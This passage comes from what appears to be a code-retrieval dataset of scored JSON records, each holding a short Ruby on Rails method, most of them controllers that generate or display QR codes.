"docid": "4cb09fb7fe23c73b175d4aeec778aabb",
"score": "0.65502363",
"text": "def index\n @qr_codes = QrCode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @qr_codes }\n end\n end",
"title": ""
},
{
"docid": "7e1d47ea439bbbea2306d8100a2486b5",
"score": "0.653026",
"text": "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n end",
"title": ""
},
{
"docid": "1b62123a053d30dca7161eac990eadd8",
"score": "0.65065175",
"text": "def index\n @qrcontents = @qr.qrcontents\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @qrcontents }\n end\n end",
"title": ""
},
{
"docid": "6ec4de2ce785b836fae0d04ca39aeb95",
"score": "0.64466393",
"text": "def qrgenerator_params\n params.fetch(:qrgenerator, {})\n end",
"title": ""
},
{
"docid": "b50b75972a7278f4442bb316a7e8ad33",
"score": "0.6427275",
"text": "def index\n if params.include?(:collection_id)\n @qrcodes = @user.collections.find(params[:collection_id]).qrcodes\n else\n @qrcodes = @user.qrcodes\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @qrcodes }\n end\n end",
"title": ""
},
{
"docid": "2acdd311cca1f07a2fd2ed436f5a59b6",
"score": "0.6392106",
"text": "def set_qrgenerator\n @qrgenerator = Qrgenerator.find(params[:id])\n end",
"title": ""
},
{
"docid": "c7d06e537386542163a172d7257d8e33",
"score": "0.63423043",
"text": "def index\n require 'rqrcode'\n require 'rqrcode_png'\n require 'chunky_png' # to_data_urlはchunky_pngのメソッド\n\n content = 'http://18.179.26.194:3000/api/raspberry/count/'\n size = 3 # 1..40\n level = :l # l, m, q, h\n\n @users = User.all\n @qr_base64 = {}\n @users.each do |user|\n qr = RQRCode::QRCode.new(content + user.id.to_s, size: size, level: level)\n @qr_base64[user.id] = qr.to_img.resize(200, 200).to_data_url\n end\n end",
"title": ""
},
{
"docid": "cc6e445c313215104c2d32ada2ac40e3",
"score": "0.62617314",
"text": "def new\n @qrcode = @user.qrcodes.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qrcode }\n end\n end",
"title": ""
},
{
"docid": "6473698e4e4e4e067899e8f43a7b00b8",
"score": "0.6249311",
"text": "def generate\n \n # Create a unique tag name\n entry_count = Qritem.all.size\n @tag = Base64.encode64(\"X\" + entry_count.to_s)\n @tag = @tag.gsub(\"=\", \"x\")\n \n # Generate URL for unique item\n @tag_url = \"http://bickr.heroku.com/view/\" + @tag\n \n # Create a QR code url from this tag name using the Google API\n @qr_url = \"http://chart.apis.google.com/chart?chs=200x200&cht=qr&chl=\" + URI.escape(@tag_url) + \"%0A\"\n \n # Save this tag\n @new_qr_item = Qritem.new\n @new_qr_item.tag = @tag.strip\n @new_qr_item.url = @qr_url\n @new_qr_item.save\n \n end",
"title": ""
},
{
"docid": "e5ab5b43d6e37088ccbb52f57da38c2d",
"score": "0.62237287",
"text": "def index\n @qrcodes = Qrcode.all\n end",
"title": ""
},
{
"docid": "fe21f77b489a465c056552ed7d219eaf",
"score": "0.62183344",
"text": "def index\n @qr_codes = QrCode.all\n end",
"title": ""
},
{
"docid": "084dab2d02dff1a21cef32afb33ee8ed",
"score": "0.6183042",
"text": "def show\n @qr_code = QrCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qr_code }\n end\n end",
"title": ""
},
{
"docid": "c6d359e610e45cb8784cdc7d3393ed30",
"score": "0.61687",
"text": "def new\n @qr_code = QrCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qr_code }\n end\n end",
"title": ""
},
{
"docid": "b1893fc36a93a7d62ba40a5716e35fee",
"score": "0.61676073",
"text": "def generateQR\n qrcode = RQRCode::QRCode.new(params[:url])\n\n svg = qrcode.as_svg(offset: 0, color: '000',\n shape_rendering: 'crispEdges',\n module_size: 11\n )\n\n send_data svg, type: 'image/svg+xml', disposition: 'inline'\n end",
"title": ""
},
{
"docid": "f2cb261ff522a20c073d6a4884961450",
"score": "0.61437523",
"text": "def new\n @generator = Generator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator }\n end\n end",
"title": ""
},
{
"docid": "cab95311e9462cb1b53ed4a3e0dbd93e",
"score": "0.60567975",
"text": "def show\n qr_code_link = QrCodeLink.find(params_id)\n svg = generate_scan_svg(qr_code_link)\n if svg\n render json: svg.html_safe\n else\n render json: ['Error']\n end\n end",
"title": ""
},
{
"docid": "df0a73d28bba927dae314b33fb6ad395",
"score": "0.60479885",
"text": "def show\n require 'google-qr'\n require \"#{RAILS_ROOT}/lib/qr_methods.rb\"\n \n @prescription = Prescription.where( :id => params[:id],\n :patient_id => params[:patient_id] ).first\n \n id = @prescription.id\n signed_output = @prescription.signature\n signed_id_trunc = signed_output.lines.to_a[3..-2].join.gsub(/\\n/,'')[-15,15]\n @image_path = qr_code_from_id id, signed_id_trunc \n\n end",
"title": ""
},
{
"docid": "680a4aa288d5e37b216780f986847839",
"score": "0.600504",
"text": "def show\n @qrcontent = @qr.qrcontents.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qrcontent }\n end\n end",
"title": ""
},
{
"docid": "cc3432057f54f3b294872f9f8ee43896",
"score": "0.5970862",
"text": "def generate_qr(qrcode)\n generate_qr = Barby::QrCode.new(qrcode, level: :q)\n base64_output = Base64.encode64(generate_qr.to_png({ xdim: 5 }))\n\t\"data:image/png;base64,#{base64_output}\"\nend",
"title": ""
},
{
"docid": "92bba982644650c0bde47ba4f5126c04",
"score": "0.5968866",
"text": "def qrcode\n respond_to do |format|\n format.html\n format.svg { render :qrcode => params[:url], :level => :l, :unit => 5 }\n format.png { render :qrcode => params[:url] }\n format.gif { render :qrcode => params[:url] }\n format.jpeg { render :qrcode => params[:url] }\n end\n end",
"title": ""
},
{
"docid": "112c99b3fd9bb6ff09175847067ab4d6",
"score": "0.59468687",
"text": "def confirm_get_document\n c = Base64.decode64(params[:contravention])\n a = Base64.decode64(params[:agent])\n @request = Convocation.find(c)\n @agent = Agent.find(a)\n @qrcode = Base64.encode64(@request.pieceretenu_id.to_s)\n\n qrcode = RQRCode::QRCode.new('http://github.com/')\n\n\n end",
"title": ""
},
{
"docid": "34fd442f56ea55660a0d4caf388223ac",
"score": "0.58740866",
"text": "def index\n @generators = Generator.all\n\t\t@station = Station.find(params[:station_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generators }\n end\n end",
"title": ""
},
{
"docid": "1e419344af2b2284ca22572a7da7cb19",
"score": "0.5872564",
"text": "def qr\n @qrLink = nil\n @targetURL = nil\n\n room = Room.find(params[:originID]).first\n if room == nil\n raise ActionController::RoutingError.new('Origin Room Not Found')\n #render :status => 404, :layout => false\n else\n originRoom = room.room_number\n\n unless params[:destinationID].blank? # Origin and destination supplied\n destinationRoom = Room.find(params[:destinationID]).room_number\n\n # Hardcoding this for now because it's weird\n @targetURL = root_url + \"start/\" + originRoom + \"/end/\" + destinationRoom\n\n @qrLink = generateQRLink(@targetURL)\n else\n @targetURL = url_for(action: 'start', controller: 'administration', origin: originRoom)\n @qrLink = generateQRLink(@targetURL)\n end\n\n render :layout => true\n end\n end",
"title": ""
},
{
"docid": "df33b1b6333c10cba8c1708f0c6fc360",
"score": "0.58591115",
"text": "def index\n @qr_code_readers = QrCodeReader.all\n end",
"title": ""
},
{
"docid": "41bb9a35ad6be675a90937feed0e61e4",
"score": "0.58577347",
"text": "def show\n respond_to do |format|\n format.html { @qr_codes = exporter.qr_codes }\n format.fhir_json { render json: exporter.to_fhir }\n format.json { render json: exporter.to_fhir }\n end\n end",
"title": ""
},
{
"docid": "7872f9069c50a3d7d3b124ddcc1c65ee",
"score": "0.58527476",
"text": "def generate\n if params[:num].to_i < 1\n redirect_to action: \"index\", alert: \"Invalid number [#{params[:num]}] given.\" and return\n end\n barcode_set_id = nil\n if params[:barcode_set].to_i > 0\n barcode_set_id = params[:barcode_set].to_i\n end\n barcode_set_id, barcodes = Barcode.generate_barcodes(params[:num].to_i, barcode_set_id)\n redirect_to fetch_barcodes_path(barcode_set: barcode_set_id)\n end",
"title": ""
},
{
"docid": "0ccc4e1a64e62ca1a8211a0a65d0f3ff",
"score": "0.58173406",
"text": "def create\n @qr = Qr.new(qr_params)\n\n respond_to do |format|\n if @qr.save\n format.html { redirect_to @qr, notice: 'Qr was successfully created.' }\n format.json { render :show, status: :created, location: @qr }\n else\n format.html { render :new }\n format.json { render json: @qr.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7863915c440adb290cfbac4084c35361",
"score": "0.5814216",
"text": "def build_qr url, output_dir\n qr = RQRCode::QRCode.new( url, :size => 6, :level => :h )\n # Need creating the QR code in a file because Prawn requires a file for images\n file_name = File.join output_dir, 'qr.png'\n qr.to_img.save file_name\n\n file_name\n end",
"title": ""
},
{
"docid": "255b4ddcd210196db3be39cbf34fc3ca",
"score": "0.58091724",
"text": "def new\n @qrcontent = Qrcontent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qrcontent }\n end\n end",
"title": ""
},
{
"docid": "f28367499875894444a77848add91a54",
"score": "0.57804686",
"text": "def show\n # @qr = RQRCode::QRCode.new(@product.qr_path.to_s, :size => 4, :level => :h)\n @qr = RQRCode::QRCode.new(@product.generate_qr, :size => 4, :level => :h)\n end",
"title": ""
},
{
"docid": "2ebdf86b68a2ffb57c5bc1dce047a1fe",
"score": "0.57653123",
"text": "def show\n if @order.approved \n hmac_secret = Rails.application.credentials[:qr_verifier]\n token = JWT.encode({guid: @order.guid}, hmac_secret, 'HS256')\n qrcode = RQRCode::QRCode.new(\"#{Rails.configuration.host_name}/orders/#{token}\")\n @qrcode = qrcode.as_png(size: 120*4).to_data_url\n end\n end",
"title": ""
},
{
"docid": "df23fdfaf929b29ed2c3cb05f60e90a5",
"score": "0.5749395",
"text": "def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end",
"title": ""
},
{
"docid": "e5e760cf59b9f4fe900838b167fdc2d8",
"score": "0.5680573",
"text": "def index\n @generators = Generator.all\n end",
"title": ""
},
{
"docid": "67a0fc218a685687e11c4b061aa3651a",
"score": "0.5666464",
"text": "def show\n @beehive = Beehive.find(params[:id])\n @qr = RQRCode::QRCode.new( \"http://192.168.0.17:3000/beehives/\" + @beehive.id.to_s, :size => 10, :level => :l)\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"title": ""
},
{
"docid": "0649b9ec888ac15e4ee5872d5f286ff4",
"score": "0.5651236",
"text": "def index\n render :text => \"SuperFinderResources = #{self.generate.to_json}\"\n end",
"title": ""
},
{
"docid": "220a06d65a766a9847b429428d976675",
"score": "0.5648058",
"text": "def update\n respond_to do |format|\n if @qrgenerator.update(qrgenerator_params)\n format.html { redirect_to @qrgenerator, notice: 'Qrgenerator was successfully updated.' }\n format.json { render :show, status: :ok, location: @qrgenerator }\n else\n format.html { render :edit }\n format.json { render json: @qrgenerator.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8353fc6e80bee9a8f3b94d18dbbc87b7",
"score": "0.5639447",
"text": "def destroy\n @qrgenerator.destroy\n respond_to do |format|\n format.html { redirect_to qrgenerators_url, notice: 'Qrgenerator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3e1e48672cc003f4d4571cc16be4cbb0",
"score": "0.5638572",
"text": "def create\r\n @room = Room.new(room_params)\r\n Rails.logger.info \"***\\n\\n\\n\\n\\nGenerate QR CODE\\n\\n\\n\\n\\n***\"\r\n\r\n respond_to do |format|\r\n if @room.save\r\n generate_qr\r\n format.html { redirect_to rooms_path, notice: 'Room was successfully created.' }\r\n format.json { render :show, status: :created, location: @room }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @room.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "b95e712c4799b6acfc88af41fcf659d7",
"score": "0.5631337",
"text": "def new\n @generator = Generator.new\n\t\t@station = Station.find(params[:station_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator }\n end\n end",
"title": ""
},
{
"docid": "2c9f25e7c511393f6cff47d9f6fdd936",
"score": "0.56159854",
"text": "def index\n @nitrogens = Nitrogen.all\n render json: @nitrogens\n end",
"title": ""
},
{
"docid": "7acc4a1441f23571b23ffd033755e9f0",
"score": "0.55380976",
"text": "def index\n render json: Genre.all\n end",
"title": ""
},
{
"docid": "709a5af4075e31ff6b8b574c989ff96a",
"score": "0.55338436",
"text": "def index\n @genres = Genre.all\n\n render json: @genres\n end",
"title": ""
},
{
"docid": "2a24d08b05d502f770e108373fde0e02",
"score": "0.5532359",
"text": "def show\n @barcode_maker = BarcodeMaker.find(params[:id])\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @barcode_maker }\n end\n end",
"title": ""
},
{
"docid": "ab1454e37935d783726034668223ca13",
"score": "0.5530284",
"text": "def create\n #PUT THE LINE FOR @CURRENT USER BACK AFTER TESTING\n @u = User.find(13)\n if !params[:qrcode].nil?\n @qr = @u.qrcodes.new(:qrcode)\n else\n #instead of @u is @current_user\n @qr = @u.qrcodes.new(:name => params[:name], \n :description => params[:description],\n :geoLong => params[:longitude], \n :geoLat => params[:latitude],\n :hits => 0)\n @videos = params[:youtubeUrls]\n @images = params[:imageUrls]\n @documents = params[:documentUrls]\n @podcasts = params[:podcastUrls]\n if !@videos.nil? #|| !@videos.empty? \n @videos.each do |v|\n @content = Qrcontent.new(:url => v, :content_id =>5)\n @qr.qrcontents << @content\n end\n end\n if !@images.nil? #|| !@images.empty?\n @images.each do |i|\n @content = Qrcontent.new(:url => i, :content_id => 1)\n @qr.qrcontents << @content\n end\n end\n if !@documents.nil? #|| !@documents.empty?\n @documents.each do |d|\n @content = Qrcontent.new(:url => d, :content_id => 3)\n @qr.qrcontents << @content\n end\n end\n if !@podcasts.nil? #|| !@podcasts.empty?\n @podcasts.each do |p|\n @content = Qrcontent.new(:url => p, :content_id => 4)\n @qr.qrcontents << @content\n end\n end \n end \n puts @qr.id\n #host = 'chart.googleapis.com'\n \n respond_to do |format|\n if @qr.save\n url = @qr.get_url\n if params.include?(:custom)\n begin\n host = 'mojiq.kazina.com'\n l1 = params[:label]\n pos = params[:pos]\n lc = params[:lc]\n path = \"/mojiq2.cgi?data=#{url}&s=4&l1=#{l1}&pos=#{pos}&lc=#{lc}&f=0\"\n puts path\n puts host\n res = Net::HTTP.get_response(host, path)\n puts res\n puts res.body \n @qr.image = res.body\n puts @qr.image\n puts \"I GOT HEREEEEEEEEEEEEEEEEEEEEEEE\"\n @qr.save\n rescue\n puts @qr.errors\n puts \"CANNOT CREATE CUSTOM QR CODE\"\n #@qr.delete\n end\n else\n begin\n #url = @qr.get_url\n #puts url \n path = \"/chart?chs=150x150&cht=qr&chl=#{url}\"\n host = 'chart.googleapis.com'\n #@qr.image_url = path\n res = Net::HTTP.get_response(host, path)\n @qr.image = res.body\n @qr.save\n rescue\n puts \"Could not get url for qrcode\"\n @qr.delete\n end\n #format.html { redirect_to [@user, @qrcode], \n # notice: 'Qrcode was successfully created.' }\n end\n format.json { render json: [@qr], status: :created,\n location: [@qr] }\n else \n # format.html { render action: \"new\" }\n format.json { render json: @qr.errors, \n status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba49315b2ad1c05ee6c6d5f3d823f06f",
"score": "0.55289024",
"text": "def show\n @share_url = share_url(@order)\n @qr = qrcode(qrcode_url(@order))\n respond_to do |format|\n format.html { render action: 'show' }\n format.json { render json: @order }\n end\n end",
"title": ""
},
{
"docid": "0341caca5c5872be64dbba135180b4c1",
"score": "0.5500714",
"text": "def show\n @branch = Branch.find(params[:id])\n @menus = @branch.menus\n @tables = @branch.tables\n @orders_per_branches = Order.where(branch_id: params[:id])\n # @pending = @orders_per_branches\n # @url_env = 'http://localhost:3000'\n @url_env = 'https://acomerapp.cl'\n @qr = RQRCode::QRCode.new( \"#{@url_env}/sucursales/#{params[:id]}\").to_img.resize(200, 200).to_data_url\n \n end",
"title": ""
},
{
"docid": "9c25864b728df912d4d3bb39e74db1df",
"score": "0.54882663",
"text": "def generate\n reviews_num = (params[:reviews_num].presence || 1000).to_i\n Data::Generator.generate_reviews(\n categories_num: (params[:categories_num].presence || 3).to_i,\n reviews_num: reviews_num\n )\n respond_to do |format|\n format.html { redirect_to pages_home_url, notice: \"#{reviews_num} Reviews were created!\" }\n format.json { render json: {result: \"#{reviews_num} Reviews were created!\"} }\n end\n end",
"title": ""
},
{
"docid": "abb8afe9ec7940a14ea8b3489c6060b2",
"score": "0.54881895",
"text": "def get_deck\n # get games with at 6 comics\n decks = Deck.where (\"num_comics = 6\")\n respond_to do |format|\n format.json { render :json => decks.sample.id }\n end\n end",
"title": ""
},
{
"docid": "28fc9e7e33c557710f0efd69b5839d34",
"score": "0.5471216",
"text": "def lottery_generator\n lotto_numbers = []\n 6.times do\n lotto_numbers << Random.new.rand(1..60) \n end\n\n render json: {:lotto => lotto_numbers}\n end",
"title": ""
},
{
"docid": "56b6e82f348f312c6b7e18e58f663b95",
"score": "0.5457188",
"text": "def index \n @genres = Genre.all \n render json: @genres, status: :ok\n end",
"title": ""
},
{
"docid": "ddd3bb77f5e2c4877b4d339454a09ec6",
"score": "0.5447716",
"text": "def set_qr\n @qr = Qr.find(params[:id])\n end",
"title": ""
},
{
"docid": "4e790a0b95a33faf347457db58ea5c2f",
"score": "0.54449344",
"text": "def qrcode\n \"#{self.long_link}.png\"\n end",
"title": ""
},
{
"docid": "ae8dba4fe50fe4426508ce0ceb379a7a",
"score": "0.5433642",
"text": "def getgenerate\n dogecoin.getgenerate\n end",
"title": ""
},
{
"docid": "7f806d5bad1a35f1b9c770228a457169",
"score": "0.5421467",
"text": "def create\n @box = Box.new(params[:box])\n\n respond_to do |format|\n if @box.save\n dest_url = url_for(:controller => 'boxes', :action => 'show', :id => @box.id ,:only_path => false)\n qr_code_img = RQRCode::QRCode.new(dest_url, :size => 4, :level => :h ).to_img.resize(300, 300)\n\n @box.update_attribute :qr_code, qr_code_img.to_string\n format.html { redirect_to @box, notice: 'Box was successfully created.' }\n format.json { render json: @box, status: :created, location: @box }\n else\n format.html { render action: \"new\" }\n format.json { render json: @box.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4ca0547452ce7a57641af4180ce5afe",
"score": "0.53885144",
"text": "def index #regular web request method\n @genomes = Genome.all\n @genomes.each do |gen|\n # gen.meta ? gen.meta = JSON::parse(\"#{gen.meta}\") : nil\n end\n respond @genomes\n end",
"title": ""
},
{
"docid": "defa006badb8e3cb985075be7b6d55d3",
"score": "0.5387986",
"text": "def create_crypto_qrcodes\n \n wallet_addr = Payment.where(user_id: current_user.id, \n currency: params[\"currency\"])\n .pluck(:wallet_addr)\n \n\n qrcode = RQRCode::QRCode.new(\"#{wallet_addr}\")\n\n @svg = qrcode.as_svg(\n offset: 0,\n color: '000',\n shape_rendering: 'crispEdges',\n module_size: 5,\n standalone: true\n )\n \n\n render :inline => @svg\n\n end",
"title": ""
},
{
"docid": "61407d61f277bf30bb60bfdedb2b7f96",
"score": "0.5386749",
"text": "def new\n @gripe = Gripe.new\n @uuid = (0..29).to_a.map {|x| rand(10)}.join()\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gripe }\n end\n end",
"title": ""
},
{
"docid": "fc4d6f38bf9e74001c0f063eb700c4af",
"score": "0.5382228",
"text": "def create_qr_code_image\n # best library? method? google?\n end",
"title": ""
},
{
"docid": "4d6670481c2baded58938fc5b36a716a",
"score": "0.5381878",
"text": "def show\n @generation = Generation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generation }\n end\n end",
"title": ""
},
{
"docid": "d27f0f98dd116af648356a69eaecf752",
"score": "0.5373299",
"text": "def generate\n end",
"title": ""
},
{
"docid": "a84ae37370b197a504d2cfd88e382e05",
"score": "0.5363091",
"text": "def show\n @qr_code = RQRCode::QRCode.new(\"http://#{request.host}:#{request.port}/display/new/#{@business.qr_code}\",:size => 8, :level => :h)\n end",
"title": ""
},
{
"docid": "60912b08e68bac067c8dcf35a96f94ec",
"score": "0.5353704",
"text": "def show\n begin\n @qr = RQRCode::QRCode.new( attendee_url(@attendee.id), :size => 5, :level => :h )\n rescue RQRCode::QRCodeRunTimeError => e\n logger.info \"Manage qr error show #{e.inspect}\"\n end\n respond_to do |format|\n format.html { render :layout => 'no_header' }\n format.js\n format.json\n end\n end",
"title": ""
},
{
"docid": "abb7ae8bdd64e7a9b3b7652fb830720b",
"score": "0.5351979",
"text": "def api_qrcode_url\n question = Question.get_question(params[:id])\n common_url = question.custom_url(\"qr\", nil, @current_user.id)\n @current_user.questions.update_all(:qrcode_status => nil)\n question.qrcode_status = \"Active\"\n question.save(:validate => false)\n question.update_status_with_expired_at if question.status.include?(\"Inactive\")\n render json: success({url: common_url, status_text: \"Successfully Qr Code Url was generated and status updated\"})\n end",
"title": ""
},
{
"docid": "b695f8d01ba44ed57a333b4205b2494a",
"score": "0.53518635",
"text": "def generate\n end",
"title": ""
},
{
"docid": "b695f8d01ba44ed57a333b4205b2494a",
"score": "0.53518635",
"text": "def generate\n end",
"title": ""
},
{
"docid": "b695f8d01ba44ed57a333b4205b2494a",
"score": "0.53518635",
"text": "def generate\n end",
"title": ""
},
{
"docid": "14528ffc6cfa16f48d2d0cd359a2971a",
"score": "0.5349205",
"text": "def getgenerate\n bitcoin.getgenerate\n end",
"title": ""
},
{
"docid": "321553924e3a87c983f4e626fd0feda6",
"score": "0.5340384",
"text": "def index\n #Added includes(:qrcode) to see how it works\n @users = User.includes(:qrcodes).all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"title": ""
},
{
"docid": "6b4d4b81e1e9f74f1b3fc5035f37af7a",
"score": "0.53350186",
"text": "def write_youtube_qr\n if $youtube\n qr = RQRCode::QRCode.new( 'my string to generate', :size => 4, :level => :h )\n png = qr.to_img # returns an instance of ChunkyPNG\n png.resize(90, 90).save(\"#{$title}_qr.png\")\n end\nend",
"title": ""
},
{
"docid": "c81c641ab9b681a1206110bedbe3f5c9",
"score": "0.53201765",
"text": "def generate\n @key = Key.new\n @key.save\n render json: @key\n end",
"title": ""
},
{
"docid": "6ab8518975e599096dcf2748687aa780",
"score": "0.53194934",
"text": "def generate\n end",
"title": ""
},
{
"docid": "88a56ed214535faa2f97c84b12ebc9f6",
"score": "0.53149444",
"text": "def get_rising(limit=100)\n\t\treturn ContentGenerator.new('http://www.reddit.com/r/'+@display_name.to_s+'/rising.json',limit)\n\tend",
"title": ""
},
{
"docid": "24c7f4b65aed9f12a82ca723c87552ad",
"score": "0.5313385",
"text": "def create\n @qr_code = QrCode.new(params[:qr_code])\n\n respond_to do |format|\n if @qr_code.save\n format.html { redirect_to @qr_code, notice: 'Qr code was successfully created.' }\n format.json { render json: @qr_code, status: :created, location: @qr_code }\n else\n format.html { render action: \"new\" }\n format.json { render json: @qr_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca7f5c5cd7ec8c1a563067ae042ce9b0",
"score": "0.53130025",
"text": "def get_gilded(limit=100)\n\t\treturn ContentGenerator.new('http://www.reddit.com/r/'+@display_name.to_s+'/gilded.json',limit)\n\tend",
"title": ""
},
{
"docid": "59dd32e98809e8e80544675ab2e521d4",
"score": "0.53112286",
"text": "def index\n @barcode = Barcode.where(item_id: params[:item_id])\n render json: @barcode\n end",
"title": ""
},
{
"docid": "1ddf03eefffdeecf118808187341e1d2",
"score": "0.5308041",
"text": "def about\n\t user = User.select(:name, :blood_group, :age, :id, :user_uid).find(current_user.id)\n\t policies = HealthDetail.where(name: \"policy\", user_id: current_user.id).uniq\n\t qrcode_image = \"http://192.168.1.238:4020/qrcode/#{current_user.id}.png\"\n\t render json: { user_info: user, policies: policies, qrcode_image: qrcode_image }\t\n\tend",
"title": ""
},
{
"docid": "799dbc4474f0d50b4aa605623b030077",
"score": "0.5306963",
"text": "def qr_code(height = 150, width = 150)\n\n @base_IP = Rails.application.secrets[:qr][:base_url]\n # @relative_url = \"http://#{@base_IP}/#{}\"\n\n # Start with base\n url = Rails.application.secrets[:qr][:google_base_url]\n\n # Add width/height\n url += \"chs=#{width}x#{height}\"\n\n # Add type of infographic (QR)\n url += \"&cht=qr\"\n\n # Add unique identifier for qr (in this case local to dev machine)\n\n url += \"&chl=http://#{@base_IP}/#{self.id}\"\n\n url\n end",
"title": ""
},
{
"docid": "f191bafa72d109bb694a56a3f7cd9d68",
"score": "0.5298827",
"text": "def show\n @gen_exp = GenExp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gen_exp }\n end\n end",
"title": ""
},
{
"docid": "62277e3183cbfd4b5e820f8ab18328e3",
"score": "0.5296539",
"text": "def create\n @generator = Generator.new(params[:generator])\n\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render json: @generator, status: :created, location: @generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "534d29d84f7ccb0d56af37a8f497183b",
"score": "0.5292281",
"text": "def show\n @nota = Nota.find(params[:id])\n current_uri = request.env['PATH_INFO']\n generate_barcode(@nota.codigo)\n @barcode = current_uri+'/barcode'\n # @nota_attachments = @nota.nota_attachments.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nota }\n end\n end",
"title": ""
},
{
"docid": "626e8a44af6e8dfc7f345dbe12843316",
"score": "0.5291057",
"text": "def generate_response\n end",
"title": ""
},
{
"docid": "f5c3abcc3ef117f6b43abb3b179424dd",
"score": "0.528142",
"text": "def generate\n if @referral\n referral.generate_token\n success = true\n else\n success = false\n status = \"Error: Record not found\"\n end\n\n respond_to do |format|\n format.json { render json: {\n success: success, status: status, referral: @referral\n } }\n end\n end",
"title": ""
},
{
"docid": "396755cbaf53a40939ccddc758c8d5c0",
"score": "0.5277634",
"text": "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end",
"title": ""
},
{
"docid": "437404179d68bf20fae2a920a3eae1b7",
"score": "0.52770364",
"text": "def show\n @qrcode = Qrcode.find(params[:id])\n @user = User.find(@qrcode.user_id)\n @qrcode.hits = @qrcode.hits + 1\n @qrcode.save \n respond_to do |format|\n format.json {render json: [@qrcode.to_json(except: \n\t\t\t\t\t [:id, :user_id, :updated_at, :image]), \n @user.to_json(only: [:first_name, :last_name])]} #[{@qrcode, except: [:id, :user_id, :updated_at, :image]}, {@user, only: [:first_name, :last_name]}]}\n end\n end",
"title": ""
},
{
"docid": "3f31e5f5df65775c6b687574cbc88515",
"score": "0.52726567",
"text": "def show\n\trsa = Rsa.find_by id: params[:id]\n\trender json: {'n' => rsa.n, 'e' => rsa.e, 'd' => rsa.d }\n end",
"title": ""
},
{
"docid": "92767b7cb5545efba0d60b40944f43ed",
"score": "0.52724737",
"text": "def get_new(limit=100)\n\t\treturn ContentGenerator.new('http://www.reddit.com/r/'+@display_name.to_s+'/new.json',limit)\n\tend",
"title": ""
},
{
"docid": "83f9000ce1a3a0cd3538ed9457474925",
"score": "0.52711034",
"text": "def get_game_genres\n puts \"\\e[34mGetting game genres...\\e[0m\"\n url = \"https://api.thegamesdb.net/v1/Genres?apikey=#{ENV['GAMESDB_API_KEY']}\"\n response = RestClient.get(url)\n data = JSON.parse(response.body)\n genres = data[\"data\"][\"genres\"]\n\n usable_genres = {}\n\n # Convert to friendly hash for use in this seeding app\n genres.each do |genre|\n usable_genres[genre[1][\"id\"]] = genre[1][\"name\"]\n end\n\n puts \"\\e[92mGot Genres!\\e[0m\\n\\n\"\n return usable_genres\nend",
"title": ""
},
{
"docid": "812756c9336d2324504089e789af8ebb",
"score": "0.52656895",
"text": "def generate api\n @generator.new(api).generate\n end",
"title": ""
},
{
"docid": "4e22bf579a4104f06bab1504c660f968",
"score": "0.5264447",
"text": "def show\r\n @event = Event.find(params[:id])\r\n unless @event.blank?\r\n @qr = RQRCode::QRCode.new( \"#{@event.id}\", :size => 2, :level => :h )\r\n end\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @event }\r\n end\r\n end",
"title": ""
},
{
"docid": "248fdc665d6ec5da29ae7c3a24e6b804",
"score": "0.5262698",
"text": "def qr_code(size, url)\n \"https://chart.googleapis.com/chart?cht=qr&chs=#{size}x#{size}&chl=#{url}\"\n end",
"title": ""
},
{
"docid": "69460b320721d5df3545abab58a8148b",
"score": "0.52549934",
"text": "def show\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @item_producto = @producto.item_productos.find(params[:id])\n respond_to do |format|\n format.html {\n val = url_for([@empresa,@producto,@item_producto])\n #http://desolate-cliffs-8987.herokuapp.com/\n valor = val.gsub('http://0.0.0.0:3000', '')\n #valor = val.gsub('http://desolate-cliffs-8987.herokuapp.com', '')\n #http://tranquil-lake-8200.herokuapp.com\n #valor = val.gsub('http://0.0.0.0:3000', '')\n qrcode = RQRCode::QRCode.new(valor, :size => 3, :level => :l)\n png = qrcode.to_img \n send_data png.resize(200, 200), :type => 'image/png', :disposition => 'attachment'\n }\n format.json{render :json => @item_producto.to_json(:only => [:id, :marca, :precio, :tipo],:methods => [:image_url],\n :include =>{ :detalles => { :only => [:id,:descripción, :elaboración, :presentación, :packaging ,:origen, :secanza, :característica], \n :include=>{ :prop_especificas=> {:only=>[:id,:item, 